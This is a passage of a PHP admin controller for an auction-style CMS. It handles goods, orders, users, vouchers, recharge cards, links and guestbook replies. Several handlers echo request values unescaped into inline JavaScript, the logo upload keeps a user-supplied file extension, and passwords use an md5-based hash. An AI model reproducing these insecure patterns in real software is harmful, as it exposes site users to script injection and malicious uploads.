				$uploaddir='data/upload/'.date('Y').'/'.date('m');
				$thumb=_attach('local_thumb',$uploaddir);
				$oldthumb=array();
				if($updateid)
				{
					$oldthumb=$this->bidcms_model('goods_base')->fields(array('thumb'))->where(['goods_id'=>$updateid])->get_one();
					$oldthumb=explode(',',$oldthumb['thumb']);
					foreach($oldthumb as $k=>$v)
					{
						if(!is_file($v))
						{
							unset($oldthumb[$k]);
						}
					}
					
				}
				$thumb=array_merge($thumb,$oldthumb);
				$data['thumb']=implode(',',$thumb);
			}
			
			if($updateid)
			{
				if($complete_mod->where(['goods_id'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=complete',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=complete',3,'数据未发生变化，修改失败');
				}
			}
			else
			{
				if($complete_mod->insert_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'添加成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'添加失败');
				}
			}
		}
		else
		{
			if($updateid>0)
			{
				$goods=$complete_mod->where(['goods_id'=>$updateid])->get_one();
			}
			include $this->bidcms_template('complete_form');
		}
	}

	function cate_action()
	{
		$cate = $this->bidcms_model('goods_cate')->get_page();
		include $this->bidcms_template('cate');
	}
	/**
	*添加分类
	*/
	function catemodify_action()
	{
        global $cache,$post;
		$cate_mod=$this->bidcms_model('goods_cate');
		$updateid=$this->bidcms_request('updateid');
		$cate=array();
		if($this->bidcms_submit_check('commit'))
		{
			$data['catename'] = $this->post('catename');
			$data['custom_group'] = $this->post('custom_group');
			$error = $cate_mod->parse_validate($data);
			if(!empty($error)){
				$this->bidcms_error($error);
			}
			if($updateid>0)
			{
				if($cate_mod->where(['id'=>$updateid])->update_data($data))
				{
					$cache->delete('cate');
					$data = array(
						'dotype'=>'update',
						'id'=>$updateid,
						'catename'=>$data['catename'],
						'custom'=>$data['custom_group'],
					);
					$this->bidcms_success($data);
				}
			}
			else
			{
				if($id=$cate_mod->insert_data($data))
				{
					$cache->delete('cate');
					$data = array(
						'dotype'=>'add',
						'id'=>$id,
						'catename'=>$data['catename'],
						'custom'=>$data['custom_group'],
					);
					$this->bidcms_success($data);
				}
			}
		}
		else
		{
			$cate = array();
			if($updateid)
			{
				$cate=$cate_mod->where(['id'=>$updateid])->get_one();
			} else {
				$cate = $cate_mod->fields;
			}
			include $this->bidcms_template('cate_ajax_form');
		}
	}
	//后台系统变量
	function setting_action()
	{

		$type=$this->get('type');
		switch($type)
		{
			case 'site':
				include $this->bidcms_template('setting_site');
			break;
			case 'seo':
				include $this->bidcms_template('setting_seo');
			break;
			case 'goods':
				include $this->bidcms_template('setting_goods');
			break;
			case 'email':
				include $this->bidcms_template('setting_email');
			break;
			case 'payment':
				include $this->bidcms_template('setting_payment');
			break;
			case 'autobuy':
				include $this->bidcms_template('setting_autobuy');
			break;
			case 'template':
				$dir=scandir(ROOT_PATH.'/views');
				foreach($dir as $k=>$v)
				{
					if(is_dir(ROOT_PATH.'/views/'.$v) && $v!='.' && $v!='..' && $v!='admin' && $v!='js')
					{
						if(is_file(ROOT_PATH.'/views/'.$v.'/template.json'))
						{
							$content = file_get_contents(ROOT_PATH.'/views/'.$v.'/template.json');
                            $config = json_decode($content,true);
							$tpldir[]=array('tplname'=>$v,'thumb'=>'views/'.$v.'/'.$config['picture'],'author'=>$config['author'],'desc'=>$config['desc'],'info'=>$config['info']);
						}
					}
				}
				include $this->bidcms_template('setting_template');
			break;
			default:
				include $this->bidcms_template('setting_site');
			break;
		}
	}
	//处理系统提交数据
	function settingdata_action()
	{
        global $cache;
		if($this->bidcms_submit_check('commit'))
		{
          	$post = $this->post();
			$type=$post['dotype'];
			unset($post['dotype']);
            unset($post['commit']);
			$setting_mod=$this->bidcms_model('system_setting');

			if(isset($_FILES['site_logo']) && $_FILES['site_logo']['name'])
			{
				$filename=explode('.',$_FILES['site_logo']['name']);
				$container['variable']="site_logo";
				$data['content']=_upload('site_logo','data/logo','logo.'.$filename[1]);
				$ext_data['variable']='site_logo';
                $setting_mod->where($container)->save_data($data,$ext_data);
			}
			
            
			foreach($post as $k=>$v)
			{
                $container['variable']=$k;
                $data['content']=strip_tags($v);
                $setting_mod->where($container)->save_data($data,['variable'=>$k]);
			}
			$cache->delete('setting');
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=setting&type='.$type,3,'修改成功');
		}
	}
	//晒单管理
	function ordershow_action()
	{
		$ordershow_mod=$this->bidcms_model('user_show');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=ordershow');
		$showlist=$ordershow_mod->get_page($showpage);
		foreach($showlist as $k=>$v)
		{
			$showlist[$k]['order_info']=unserialize($showlist['data'][$k]['order_info']);
		}
        $count = count($showlist)<$showpage['page_size']?0:$ordershow_mod->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('ordershow');
	}
	//评论管理
	function comment_action()
	{
		$comment_mod=$this->bidcms_model('comment');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=comment');
		$commentlist=$comment_mod->get_page($showpage,'order by id desc');
        $count = count($commentlist)<$showpage['page_size']?0:$comment_mod->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('comment');
	}
	//修改晒单
	function ordershowmodify_action()
	{
		$updateid=intval($this->bidcms_request('updateid'));
		
		$ordershow_mod=$this->bidcms_model('show');
		if($this->bidcms_submit_check('commit'))
		{
			$data['title']=trim(strip_tags($this->post('title')));
			if($this->post('content'))
			{
				$data['content']=trim($this->post('content'));
			}
			$givemoney=floatval($this->post('givemoney'));
			$orderinfo=$ordershow_mod->where(['id'=>$updateid])->get_one();
			if($orderinfo)
			{
				if($orderinfo['givemoney']==0 && $this->post('confirm'))
				{
					$data['givemoney']=$givemoney;
					$ordershow_mod->where('uid',$orderinfo['uid'])->update_add_data('money',$givemoney);
					
					$user=$this->bidcms_model('user_base')->fields(array('money','username','ucid'))->where(['uid'=>$orderinfo['uid']])->get_one();

					uc_pm_send(0,$user['ucid'],'秀产品奖励通知',$user['username'].'您好！感谢您参对网站的支持，参加秀产品奖励'.$GLOBALS['setting']['site_money_name'].':'.$givemoney);

					//添加资金操作日志记录代码
                    $this->bidcms_model('moneylog')->insert_data(
                       array(
                        'get'=>$givemoney,
                        'put'=>0,
                        'title'=>$data['title']."秀产品奖励",
                        'uid'=>$orderinfo['uid'],
                        'updatetime'=>time(),
                        'payment'=>'系统',
                        'money'=>floatval($user['money']+$givemoney),
                        'username'=>$user['username']
                       )
                    );
				}
				if($updateid && $ordershow_mod->where(['id'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ordershow',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ordershow',3,'修改失败');
				}
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ordershow',3,'定单不存在');
			}

		}
		else
		{
			if($updateid)
			{
				$container=['id'=>$updateid];
				$show=$ordershow_mod->where($container)->get_one();
				$show['order_info']=unserialize($show['order_info']);
				
			}
			include $this->bidcms_template('ordershowmodify');
		}
	}
	//订单发信
	function ordersms_action()
	{
		$order_mod=$this->bidcms_model('order_base');
		$oid=intval($this->bidcms_request('oid'));
		$uid=intval($this->bidcms_request('uid'));
		$orderinfo=$order_mod->where(['uid'=>$uid,'id'=>$oid])->get_one();
		$content=$orderinfo['goods_name'].'发货成功，请注意查收';
		$userinfo=$this->bidcms_model('user_base')->where(['uid'=>$uid])->get_one();
		$mobile=$userinfo['mobile'];
		include ROOT_PATH.'/models/fetion.php';
		$fetion=new fetion();
		if($mobile)
		{
			$result=$fetion->send($mobile,$content);
			if($result==1)
			{
				exit('{"datastatus":"success"}');
			}
			else
			{
				exit('{"datastatus":"error","msg":"'.$result.'"}');
			}
		}
		else
		{
			exit('{"datastatus":"nomobile"}');
		}
	}
	//订单管理
	function order_action()
	{
		
		$container = $lcontainer = array();
		$exta='';
		
		if($this->get('status') != '')
		{
			$container['order_status']=$this->get('status');
			$exta='&status='.$this->get('status');
		}
		if($this->get('uid')>0)
		{
			$container["uid"] =intval($this->get('uid'));
			$exta.='&uid='.intval($this->get('uid'));
		}
		
		if($this->get('username') != '')
		{
			$lcontainer['address'] = trim(strip_tags($this->get('username')));
			$exta.='&username='.$this->get('username');
		}
        if($this->get('orderno') != '')
		{
            $lcontainer['order_no'] = trim(strip_tags($this->get('order_no')));
            $exta.='&order_no='.$this->get('order_no');
		}
		if($this->get('mobile') != '')
		{
            $lcontainer['mobile'] = trim(strip_tags($this->get('mobile')));
            $exta.='&mobile='.$this->get('mobile');
		}
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=order'.$exta);
		$order_mod=$this->bidcms_model('order_base');
		$orderlist=$order_mod->where($container)->wherelike($lcontainer)->get_page($showpage,'order by id desc');
        $count = count($orderlist)<$showpage['page_size']?0:$order_mod->wherelike($lcontainer)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('order');
	}
	//修改订单
	function ordermodify_action()
	{
		$updateid=intval($this->bidcms_request('updateid'));
		$order_mod=$this->bidcms_model('order_base');
		if($this->bidcms_submit_check('commit'))
		{
			$data['order_status']=intval($this->post('order_status'));
			if(floatval($this->post('total_fee'))>0)
			{
				$data['total_fee']=floatval($this->post('total_fee'));
			}
			$data['sendtime']=strtotime($this->post('sendtime'));
			$data['content']=trim($this->post('content'));
			$data['sendcontent']=trim($this->post('sendcontent'));
			$data['cancelcontent']=trim($this->post('cancelcontent'));
			if($updateid)
			{
				if($order_mod->where(['id'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=order',3,'订单修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=order',3,'订单修改失败');
				}
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=order',3,'订单修改失败,参数为空');
			}
		}
		else
		{
			if($updateid>0)
			{
				$order=$order_mod->where(['id'=>$updateid])->get_one();
				$userinfo=$this->bidcms_model('user_base')->fields(array('username','mobile','email'))->where(['uid'=>$order['uid']])->get_one();
				include $this->bidcms_template('order_form');
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=order',3,'参数为空');
			}
		}
	}
	//会员列表
	function normaluser_action()
	{
		$container['usertype']='normaluser';
        $lcontainer = array();
        $ext = '';
		if($this->bidcms_request('username'))
		{
			$lcontainer['username']=$this->bidcms_request('username');
			$ext='&username='.$this->bidcms_request('username');
		}
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=normaluser'.$ext);
		
		$userlist=$this->bidcms_model('user_base')->where($container)->wherelike($lcontainer)->get_page($showpage);
        $count = count($userlist)<$showpage['page_size']?0:$this->bidcms_model('user_base')->where($container)->wherelike($lcontainer)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('user');
	}
	//机器人列表
	function autouser_action()
	{
		$container['usertype']="autouser";
        $lcontainer = array();
        $ext = '';
		if($this->bidcms_request('username'))
		{
			$lcontainer['username']=$this->bidcms_request('username');
			$ext='&username='.$this->bidcms_request('username');
		}
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=autouser'.$ext);
		$userlist=$this->bidcms_model('user_base')->where($container)->wherelike($lcontainer)->get_page($showpage);
        $count = count($userlist)<$showpage['page_size']?0:$this->bidcms_model('user_base')->where($container)->wherelike($lcontainer)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('user');
	}
	//发布会员列表
	function selluser_action()
	{
		$container['usertype']="selluser";
        $lcontainer = array();
        $ext = '';
		if($this->bidcms_request('username'))
		{
			$lcontainer['username']=$this->bidcms_request('username');
			$ext='&username='.$this->bidcms_request('username');
		}
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=selluser'.$ext);
		$userlist=$this->bidcms_model('user_base')->where($container)->wherelike($lcontainer)->get_page($showpage);
        $count = count($userlist)<$showpage['page_size']?0:$this->bidcms_model('user_base')->where($container)->wherelike($lcontainer)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
        include $this->bidcms_template('user');
	}
	//管理员列表
	function adminuser_action()
	{
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=adminuser');
		$userlist=$this->bidcms_model('user_base')->where('usertype','adminuser')->get_page($showpage);
        $count = count($userlist)<$showpage['page_size']?0:$this->bidcms_model('user_base')->where('usertype','adminuser')->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('user');
	}

	/**
	*添加会员
	*/
	function usermodify_action()
	{
		
		$user=array();
        $user_mod = $this->bidcms_model('user_base');
		if($this->bidcms_submit_check('commit'))
		{
            $updateid=$this->post('updateid');
			$data['username']=trim(strip_tags($this->post('username')));
			$data['email']=trim(strip_tags($this->post('email')));
			$data['score']=intval($this->post('score'));
			$data['money']=floatval($this->post('money'));
			$data['ip']=trim($this->post('ip'));
			$data['address']=trim($this->post('address'));
			$data['mobile']=trim(strip_tags($this->post('mobile')));
			$data['friendid'] = intval($this->post('friendid'));
			$data['verification']=intval($GLOBALS['setting']['site_verification']); //是否免验证

			$usertype=array_keys($GLOBALS['user_type']);
			if(in_array($this->post('usertype'),$usertype))
			{
				$data['usertype']=trim(strip_tags($this->post('usertype')));
				$uback=$this->post('usertype');
				if($this->post('usertype')=='autouser')
				{
					$data['verification']=1;
				}
			}
			else
			{
				$uback='normaluser';
			}
			if($updateid>0)
			{
				$data['updatetime']=strtotime(trim(strip_tags($this->post('updatetime'))));
				if($this->post('password'))
				{
					$data['pwd']=md52($this->post('password'));
				}
				if($user_mod->where(['uid'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act='.$uback,3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act='.$uback,3,'修改失败');
				}
			}
			else
			{
				$data['updatetime']=time();
				$data['pwd']=md52($this->post('password'));
				if($user_mod->insert_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act='.$uback,3,'添加成功');
				}
			}
		}
		else
		{	
            $updateid=$this->get('updateid');
          	$user = $user_mod->fields;
			if($updateid)
			{
				$user=$user_mod->where(['uid'=>$updateid])->get_one();
			}
			include $this->bidcms_template('user_form');
		}
	}

	//收货地址
	function address_action()
	{
		$uid=intval($this->get('uid'));
		$address_mod=$this->bidcms_model('user_address');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=address&uid='.$uid);
		$container=array();
		if($uid)
		{
			$container['uid']=$uid;
		}
		$addressinfo=$address_mod->where($container)->get_page($showpage);
        $count = count($addressinfo)<$showpage['page_size']?0:$address_mod->where($container)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('addressinfo');
	}
	//显示指定会员
	function userinfo_action()
	{
		$uid=intval($this->get('uid'));
		if($uid)
		{
			$user=$this->bidcms_model('user_base')->where(['uid'=>$uid])->get_one();
			if($user)
			{
			include $this->bidcms_template('user_ajax_form');
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=normaluser',3,'用户不存在');
			}
		}
		else
		{
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=normaluser',3,'用户不存在');
		}
	}
	//竞拍明细
	function buylog_action()
	{
		$uid=$this->get('uid',0);
		$buy_mod=$this->bidcms_model('goods_bidlog');
		$gid=$this->get('gid',0);
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=buylog&uid='.$uid.'&gid='.$gid);
		$container= array();
        if($gid>0){
            $container['gid']=$gid;
        }
		if($uid)
		{
			$container['uid']=$uid;
		}
		$buyinfo=$buy_mod->where($container)->get_page($showpage,'order by id desc');
		if($buyinfo)
		{
			foreach($buyinfo as $v)
			{
				$gids[]=$v['gid'];
			}
			$goods=$this->bidcms_model('goods_base')->fields(array('goods_name','goods_id'))->wherein(['goods_id'=>$gids])->get_page();
			$complete_mod=$this->bidcms_model('goods_complete');
			$complete=$complete_mod->fields(array('goods_name','goods_id'))->wherein(['goods_id'=>$gids])->get_page();
			foreach($goods as $val)
			{
				$goosinfo[$val['goods_id']]=array('type'=>'goods','name'=>$val['goods_name']);
			}
			foreach($complete as $val)
			{
				$goosinfo[$val['goods_id']]=array('type'=>'complete','name'=>$val['goods_name']);
			}
		}
        $count = count($buyinfo) < $showpage['page_size']?0:$buy_mod->where($container)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('buyinfo');
	}
	//资金变动
	function moneylog_action()
	{
		$uid=intval($this->get('uid'));
		$money_mod=$this->bidcms_model('moneylog');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=moneylog&uid='.$uid);
		$container=array();
		if($uid)
		{
			$container['uid']=$uid;
		}
		$moneyinfo=$money_mod->where($container)->get_page($showpage,'order by id desc');
        $count = count($moneyinfo) < $showpage['page_size']?0:$money_mod->where($container)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('moneyinfo');
	}
	//友情链接
	function link_action()
	{
		$link=$this->bidcms_model('system_link');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=link');
		$linklist=$link->get_page($showpage);
        $count = count($linklist) < $showpage['page_size']?0:$link->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('link');
	}
	//友情链接修改
	function linkmodify_action()
	{
            global $cache;
		    $updateid=$this->get('updateid',0);
			$link_mod=$this->bidcms_model('system_link');
			if($this->bidcms_submit_check('commit'))
			{
				$data['title']=trim(strip_tags($this->post('title')));
				$data['url']=substr($this->post('url'),0,4)=='http'?trim($this->post('url')):'http://'.$this->post('url');
				$data['dec']=trim(strip_tags($this->post('dec')));
				$data['type']=intval($this->post('type'));

				if($_FILES['thumb']['name'])
				{
					$data['thumb']=_upload('thumb','data/upload/tempimg');
				}
				if($updateid>0)
				{
					if($link_mod->where(['id'=>$updateid])->update_data($data))
					{
						$cache->delete('link');
						sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=link',3,'修改成功');
					}
				}
				else
				{
					if($link_mod->insert_data($data))
					{
						$cache->delete('link');
						sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=link',3,'添加成功');
					}
				}
			}
			else
			{
                $link = $link_mod->fields;
				if($updateid)
				{
					$link=$link_mod->where(['id'=>$updateid])->get_one();
				}
				include $this->bidcms_template('link_form');
			}
	}
	//积分商城
	function gift_action()
	{
		$gift_model=$this->bidcms_model('goods_gift');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=gift');
		$info=$gift_model->get_page($showpage);
        $count = count($info)>0?$gift_model->get_count():0;
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('gift');
	}
	//积分商城修改
	function giftmodify_action()
	{
		$gift_mod=$this->bidcms_model('goods_gift');
		
		if($this->bidcms_submit_check('commit'))
		{
            $updateid = $this->post('updateid',0);
			$data['subject']=trim(strip_tags($this->post('subject')));
			$data['cateid']=intval($this->post('cateid'));
			$data['starttime']=strtotime($this->post('starttime'));
			$data['lasttime']=strtotime($this->post('lasttime'));
			$data['notice']=trim(strip_tags($this->post('notice')));
			$data['details']=trim($this->post('details'));
			$data['company']=trim(strip_tags($this->post('company')));
			$data['companyinfo']=trim(strip_tags($this->post('companyinfo')));
			$data['marketprice']=floatval($this->post('marketprice'));
			$data['needcount']=intval($this->post('needcount'));
			$data['giftcount']=intval($this->post('giftcount'));
			if($_FILES['local_thumb']['name'])
			{
				$uploaddir='data/upload/'.date('Y').'/'.date('m');
				$thumb=$this->attach('local_thumb',$uploaddir);
				$oldthumb=array();
				if($updateid)
				{
					$oldthumb=$gift_mod->fields(array('thumb'))->where(['id'=>$updateid])->get_one();
					$oldthumb=explode(',',$oldthumb['thumb']);
					foreach($oldthumb as $k=>$v)
					{
						if(!is_file($v))
						{
							unset($oldthumb[$k]);
						}
					}
					
				}
				$thumb=array_merge($thumb,$oldthumb);
				$data['thumb']=implode(',',$thumb);
			}
			if($updateid)
			{
				if($gift_mod->where(['id'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=gift',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=gift',3,'数据未发生变化，修改失败');
				}
			}
			else
			{
				if($gift_mod->insert_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=gift',3,'添加成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=gift',3,'添加失败');
				}
			}
		}
		else
		{
            $updateid = $this->get('updateid',0);
			if($updateid)
			{
				$gift=$gift_mod->where(['id'=>$updateid])->get_one();
			}
			else
			{
				$gift= $gift_mod->fields;
			}
			include $this->bidcms_template('gift_form');
		}
	}
	//充值卡管理
	function charge_action()
	{
		$charge_mod=$this->bidcms_model('charge');
		$chargelist=$charge_mod->get_page();
		include $this->bidcms_template('charge');
	}
	//代金券管理
	function card_action()
	{
		$card_mod=$this->bidcms_model('card');
		$container = array();
        $ext='';
		if($this->get('status')==2)
		{
			$container['cardstatus'] = 0;
			$ext.='&status=2';
		}
		elseif($this->get('status')==1)
		{
            $container['cardstatus'] = 1;
			$ext.='&status=1';
		}
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=card'.$ext);
		$cardlist=$card_mod->where($container)->get_page($showpage);
        $count = count($cardlist)<$showpage['page_size']?0:$card_mod->where($container)->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('card');
	}
	//批量生成代金券
	function createcard_action()
	{
		if($this->bidcms_submit_check('commit'))
		{
			$cardprefix = strtoupper($this->post('cardpre','BID'));
			$startnum = intval($this->post('startnum'));
			$endnum = intval($this->post('endnum'));
			$starttime = strtotime($this->post('starttime'));
			$endtime = strtotime($this->post('endtime'));
			$cardval = $this->post('cardval',100);
            $card = array();
			if($endnum-$startnum<1000)
			{
				for($i=$startnum;$i<=$endnum;$i++)
				{
					$zerolen=6-strlen($i);
					$card[]=array(
                        'cardnumber'=>$cardprefix.str_repeat('0',$zerolen).$i,
                        'cardcode' => substr(md52(microtime()),rand(0,10),8),
                        'updatetime' => $starttime,
                        'lasttime' => $endtime,
                        'cardvalue' => $cardval
                    );
				}
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=createcard',3,'每次生成数量不能大于1000');
			}
            $this->bidcms_model('card')->insert_all_data($card);
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=card',3,'卡片生成成功');
		}
		else
		{
			include $this->bidcms_template('createcard');
		}
	}
	//代金券修改
	function cardmodify_action()
	{
		$card_mod=$this->bidcms_model('card');
		$updateid=intval($this->bidcms_request('updateid'));
		if($this->bidcms_submit_check('commit'))
		{
			$data['cardnumber']=trim(strip_tags($this->post('cardnumber')));
			$data['cardvalue']=floatval($this->post('cardvalue'));
			$data['cardcode']=trim(strip_tags($this->post('cardcode')));
			$data['updatetime']=strtotime($this->post('updatetime'));
			$data['lasttime']=strtotime($this->post('lasttime'));
			if(!empty($this->post('username')))
			{
				$username= $this->post('username');
				$user=$this->bidcms_model('user_base')->fields(array('uid'))->where(['username'=>$username])->get_one();
				if($user) {
					$data['username']=$username;
					$data['uid']=$user['uid'];
				} else {
					exit('<SCRIPT LANGUAGE="JavaScript">
					<!--
						alert("不存在此用户");
					//-->
					</SCRIPT>');
				}
			}
			if($updateid)
			{
				if($card_mod->where(['id'=>$updateid])->update_data($data))
				{
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='update';objdata.id='$updateid';objdata.cardnumber='".global_addslashes($data['cardnumber'])."';objdata.cardvalue='".$data['cardvalue']."';objdata.cardcode='".$data['cardcode']."';objdata.updatetime='".date('Y-m-d H:i:s',$data['updatetime'])."';objdata.lasttime='".date('Y-m-d H:i:s',$data['lasttime'])."';objdata.username='".$data['username']."';parent.parseMyCardData(objdata);</SCRIPT>";
				}
			}
			else
			{
				$insertid=$card_mod->insert_data($data);
				if($insertid)
				{
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='add';objdata.id='$insertid';objdata.cardnumber='".global_addslashes($data['cardnumber'])."';objdata.cardvalue='".$data['cardvalue']."';objdata.cardcode='".$data['cardcode']."';objdata.updatetime='".date('Y-m-d H:i:s',$data['updatetime'])."';objdata.lasttime='".date('Y-m-d H:i:s',$data['lasttime'])."';objdata.username='".$data['username']."';parent.parseMyCardData(objdata);</SCRIPT>";
				}

			}
		}
		else
		{
			if($updateid)
			{
				$card=$card_mod->where(['id'=>$updateid])->get_one();
			}
			else
			{
				$card=$card_mod->fields;
			}
			include $this->bidcms_template('card_ajax_form');
		}
	}
	/**
	*添加充值卡
	*/
	function chargemodify_action()
	{
		$updateid=$this->get('updateid',0);
		$charge=array();
		$charge_mod=$this->bidcms_model('charge');
		if($this->bidcms_submit_check('commit'))
		{
			$data['title']=trim(strip_tags($this->post('title')));
			$data['oldprice']=floatval($this->post('oldprice'));
			$data['nowprice']=floatval($this->post('nowprice'));
			if($_FILES['thumb']['name'])
			{
				$data['thumb']=$this->upload('thumb');
			}
			if($updateid>0)
			{
				if($charge_mod->where(['id'=>$updateid])->update_data($data))
				{
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='update';objdata.id='$updateid';objdata.title='".global_addslashes($data['title'],1)."';objdata.oldprice='".$data['oldprice']."';objdata.nowprice='".$data['nowprice']."';objdata.thumb='".$data['thumb']."';parent.parseMyChargeData(objdata);</SCRIPT>";
				}
			}
			else
			{
				if($id=$charge_mod->insert_data($data))
				{
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='add';objdata.id='$id';objdata.title='".global_addslashes($data['title'],1)."';objdata.oldprice='".$data['oldprice']."';objdata.nowprice='".$data['nowprice']."';objdata.thumb='".$data['thumb']."';parent.parseMyChargeData(objdata);</SCRIPT>";
				}
			}
		}
		else
		{
            $charge = $charge_mod->fields;
			if($updateid)
			{
				$charge=$charge_mod->where(['id'=>$updateid])->get_one();
			}
			include $this->bidcms_template('charge_ajax_form');
		}
	}
	//留言管理
	function guestbook_action()
	{
		$guestbook_mod=$this->bidcms_model('user_guestbook');
		$showpage=array('isshow'=>1,'current_page'=>$this->get('page',0),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=guestbook');
		$guestbooklist = $guestbook_mod->get_page($showpage,'order by id desc');
        $count = count($guestbooklist)<$showpage['page_size']?0:$guestbook_mod->get_count();
		$pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('guestbook');
	}
	//留言回复
	function guestbookmodify_action()
	{
		$guestbook_mod=$this->bidcms_model('user_guestbook');
		$moneylog_mod=$this->bidcms_model('moneylog');
		$updateid=$this->get('updateid',0);
		if($this->bidcms_submit_check('commit'))
		{
			$guestbookinfo=$guestbook_mod->where(['id'=>$updateid])->get_one();
			$data['reply']=trim(strip_tags($this->post('reply')));
			$data['isgood']=intval($this->post('isgood'));
			$data['uid']=intval($this->post('uid'));
			if($data['uid']>0 && $guestbookinfo['givemoney']<1 && $data['isgood']>0)
			{
				$data['givemoney']=floatval($this->post('givemoney'));
				
				if($data['givemoney']>0 && $data['uid']>0)
				{
					$userinfo=$this->bidcms_model('user_base')->fields(array('money','username'))->where(['uid'=>$data['uid']])->get_one();
					$GLOBALS['db']->query("update ".tname('user')." set `money`=`money`+".$data['givemoney']." where uid=".$data['uid']." limit 1");
					$mdata['title']='意见被采纳，奖励'.$data['givemoney'];
					$mdata['get']=$data['givemoney'];
					$mdata['updatetime']=time();
					$mdata['uid']=$data['uid'];
					$mdata['payment']='系统';
					$mdata['username']=$userinfo['username'];
					$mdata['money']=$userinfo['money']+$data['givemoney'];
					$moneylog_mod->insert_data($mdata);
				}
			}
			if($guestbook_mod->where(['id'=>$updateid])->update_data($data))
			{
				echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='update';objdata.id='$updateid';parent.parseMyGuestbookData(objdata);</SCRIPT>";
			}
		}
		else
		{
          	$guestbook = $guestbook_mod->fields;
			if($updateid)
			{
